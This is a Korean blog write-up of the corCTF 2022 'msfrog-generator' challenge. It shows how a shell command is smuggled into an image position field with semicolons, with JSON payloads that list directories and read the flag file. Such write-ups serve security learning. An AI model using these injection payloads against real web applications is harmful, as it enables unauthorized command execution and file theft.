본문 바로가기
CTF

[corCTF 2022] msfrog-generator

by skyepodium 2022. 8. 14.

1. 개요

command injection 문제

 

2. 분석

1) 사이트

이런 사이트가 나옵니다.

 

 

2) 에러

type에 이상한 문자열을 넣으면, shell commadn에 존재하지 않는 이미지를 넘길 수 없다고 나옵니다.

 

shell 명령어를 수행하기 때문에 command injection이 가능해보입니다.

 

3) 명령어 삽입

포지션 뒤에 세미콜론으로 딜리미터를 넣고, 명령어를 넣으면 디렉토리 목록이 출력됩니다.

[{"type":"mstongue.png","pos":{"x":"0","y":"0; ls -al;"}}]

 

한칸 올라갔더니 flag.txt 파일이 보입니다.

[{"type":"mstongue.png","pos":{"x":"0","y":"0;cd ..; ls -al;"}}]

 

flag를 찾았습니다.

[{"type":"mstongue.png","pos":{"x":"0","y":"0;cat ../flag.txt;"}}]

'CTF' 카테고리의 다른 글

[shell ctf 2022] Colour Cookie  (0) 2022.08.14
[shell ctf 2022] Choosy  (0) 2022.08.14
[corCTF 2022] whack-a-frog  (0) 2022.08.14
[TFC CTF 2022] BBBBBBBBBB  (0) 2022.08.07
[TFC CTF 2022] pattern  (0) 2022.07.31